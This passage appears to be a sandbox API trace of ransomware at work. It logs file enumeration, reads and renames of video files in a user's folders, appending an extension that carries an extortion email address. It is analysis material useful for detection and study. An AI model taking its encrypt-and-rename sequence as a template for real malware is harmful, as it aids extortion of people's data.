ReadFile (in: hFile=0x258, lpBuffer=0x18f510, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x18f510*, lpNumberOfBytesRead=0x18f4b4*=0x18, lpOverlapped=0x0) returned 1 [0093.895] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.896] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x12ef0, lpNumberOfBytesRead=0x18f4b4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f4b4*=0x12ef0, lpOverlapped=0x0) returned 1 [0093.899] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.901] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\pdYpAYSiipnDlIV_7S.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\pdypaysiipndliv_7s.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\pdYpAYSiipnDlIV_7S.mp4.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\pdypaysiipndliv_7s.mp4.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.903] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\qAYRNUA\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0093.903] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0093.903] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2562690, ftCreationTime.dwHighDateTime=0x1d5c502, ftLastAccessTime.dwLowDateTime=0x9778c1e0, ftLastAccessTime.dwHighDateTime=0x1d5b6bf, ftLastWriteTime.dwLowDateTime=0x9778c1e0, ftLastWriteTime.dwHighDateTime=0x1d5b6bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0093.904] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0093.904] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0093.904] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d79a0, ftCreationTime.dwHighDateTime=0x1d5b768, ftLastAccessTime.dwLowDateTime=0x4fd119f0, ftLastAccessTime.dwHighDateTime=0x1d5b66a, ftLastWriteTime.dwLowDateTime=0x4fd119f0, ftLastWriteTime.dwHighDateTime=0x1d5b66a, nFileSizeHigh=0x0, nFileSizeLow=0x12b1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSIcdAn.avi", cAlternateFileName="")) returned 1 [0093.904] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.904] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.905] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.905] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x12b1a, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x12b1a, lpOverlapped=0x0) returned 1 [0093.909] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.912] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\qAYRNUA\\BSIcdAn.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\qayrnua\\bsicdan.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\qAYRNUA\\BSIcdAn.avi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\qayrnua\\bsicdan.avi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.963] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.963] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.963] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.964] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xb20, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0xb20, lpOverlapped=0x0) returned 1 [0093.964] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.964] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\qAYRNUA\\B_tkmgRREP_FnHShk92.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\qayrnua\\b_tkmgrrep_fnhshk92.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\qAYRNUA\\B_tkmgRREP_FnHShk92.mkv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\qayrnua\\b_tkmgrrep_fnhshk92.mkv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.969] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.969] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.969] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.969] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1044b, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x1044b, lpOverlapped=0x0) returned 1 [0093.973] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.976] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\qAYRNUA\\CoUETEmz-X.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\qayrnua\\couetemz-x.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\qAYRNUA\\CoUETEmz-X.avi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\qayrnua\\couetemz-x.avi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.979] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.979] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.980] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.980] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x77fc, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x77fc, lpOverlapped=0x0) returned 1 [0093.983] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.986] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\qAYRNUA\\HlGcvCznZSVvA_a4LXD0.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\qayrnua\\hlgcvcznzsvva_a4lxd0.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\qAYRNUA\\HlGcvCznZSVvA_a4LXD0.swf.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\qayrnua\\hlgcvcznzsvva_a4lxd0.swf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.989] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.989] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.990] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.990] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x6f02, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x6f02, lpOverlapped=0x0) returned 1 [0093.992] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.993] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\qAYRNUA\\yBGqgcwum.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\qayrnua\\ybgqgcwum.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\qAYRNUA\\yBGqgcwum.avi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\qayrnua\\ybgqgcwum.avi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0093.996] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0093.996] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0093.997] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.997] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xd99b, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0xd99b, lpOverlapped=0x0) returned 1 [0093.999] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.000] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\qAYRNUA\\zTMZjVNjY.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\qayrnua\\ztmzjvnjy.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\qAYRNUA\\zTMZjVNjY.flv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\qayrnua\\ztmzjvnjy.flv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.003] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\qAYRNUA\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0094.003] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2562690, ftCreationTime.dwHighDateTime=0x1d5c502, ftLastAccessTime.dwLowDateTime=0xc55793e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc55793e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.003] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d79a0, ftCreationTime.dwHighDateTime=0x1d5b768, ftLastAccessTime.dwLowDateTime=0x4fd119f0, ftLastAccessTime.dwHighDateTime=0x1d5b66a, ftLastWriteTime.dwLowDateTime=0xc5494ba0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x12c38, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSIcdAn.avi.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="BSICDA~1.PAR")) returned 1 [0094.004] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\RoPsI2vKfOQpd3\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0094.004] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0094.004] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f60d3d0, ftCreationTime.dwHighDateTime=0x1d5baa7, ftLastAccessTime.dwLowDateTime=0x66524f10, ftLastAccessTime.dwHighDateTime=0x1d5bcf4, ftLastWriteTime.dwLowDateTime=0x66524f10, ftLastWriteTime.dwHighDateTime=0x1d5bcf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.004] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0094.004] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0094.004] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x592c62a0, ftCreationTime.dwHighDateTime=0x1d5c5f8, ftLastAccessTime.dwLowDateTime=0x8ba852c0, ftLastAccessTime.dwHighDateTime=0x1d5b590, ftLastWriteTime.dwLowDateTime=0x8ba852c0, ftLastWriteTime.dwHighDateTime=0x1d5b590, nFileSizeHigh=0x0, nFileSizeLow=0x11089, dwReserved0=0x0, dwReserved1=0x0, cFileName="3Hd1_8C3YyaVo.mkv", cAlternateFileName="3HD1_8~1.MKV")) returned 1 [0094.004] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.004] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0094.005] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.005] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x11089, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x11089, lpOverlapped=0x0) returned 1 [0094.012] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.015] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\RoPsI2vKfOQpd3\\3Hd1_8C3YyaVo.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\ropsi2vkfoqpd3\\3hd1_8c3yyavo.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\RoPsI2vKfOQpd3\\3Hd1_8C3YyaVo.mkv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\ropsi2vkfoqpd3\\3hd1_8c3yyavo.mkv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.017] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.018] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0094.018] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.018] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x11be5, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x11be5, lpOverlapped=0x0) returned 1 [0094.024] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.026] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\RoPsI2vKfOQpd3\\eBPB.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\ropsi2vkfoqpd3\\ebpb.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\RoPsI2vKfOQpd3\\eBPB.flv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\ropsi2vkfoqpd3\\ebpb.flv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.030] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.030] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0094.030] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.031] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3568, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x3568, lpOverlapped=0x0) returned 1 [0094.032] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.033] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\RoPsI2vKfOQpd3\\Fb371.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\ropsi2vkfoqpd3\\fb371.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\RoPsI2vKfOQpd3\\Fb371.mp4.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\ropsi2vkfoqpd3\\fb371.mp4.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.036] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.036] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0094.037] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.037] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x69a8, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x69a8, lpOverlapped=0x0) returned 1 [0094.039] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.039] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\RoPsI2vKfOQpd3\\lH7ABJlTcUwJFZzD87Q.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\ropsi2vkfoqpd3\\lh7abjltcuwjfzzd87q.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\RoPsI2vKfOQpd3\\lH7ABJlTcUwJFZzD87Q.flv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\ropsi2vkfoqpd3\\lh7abjltcuwjfzzd87q.flv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.043] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.043] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0094.043] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.044] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x614c, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x614c, lpOverlapped=0x0) returned 1 [0094.045] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.045] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\RoPsI2vKfOQpd3\\RXyLcugpaG yg9PTg.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\ropsi2vkfoqpd3\\rxylcugpag yg9ptg.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\RoPsI2vKfOQpd3\\RXyLcugpaG yg9PTg.mp4.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\ropsi2vkfoqpd3\\rxylcugpag yg9ptg.mp4.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.048] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0094.048] ReadFile (in: hFile=0x260, lpBuffer=0x18f220, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x18f220*, lpNumberOfBytesRead=0x18f1c4*=0x18, lpOverlapped=0x0) returned 1 [0094.049] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.049] ReadFile (in: hFile=0x260, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x11217, lpNumberOfBytesRead=0x18f1c4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18f1c4*=0x11217, lpOverlapped=0x0) returned 1 [0094.051] SetFilePointerEx (in: hFile=0x260, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.099] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\RoPsI2vKfOQpd3\\TLQvUG.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\ropsi2vkfoqpd3\\tlqvug.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\RoPsI2vKfOQpd3\\TLQvUG.avi.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4koib\\ropsi2vkfoqpd3\\tlqvug.avi.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0094.105] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4koIb\\RoPsI2vKfOQpd3\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0094.105] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8f60d3d0, ftCreationTime.dwHighDateTime=0x1d5baa7, ftLastAccessTime.dwLowDateTime=0xc5683d80, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xc5683d80, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.106] FindNextFileW (in: 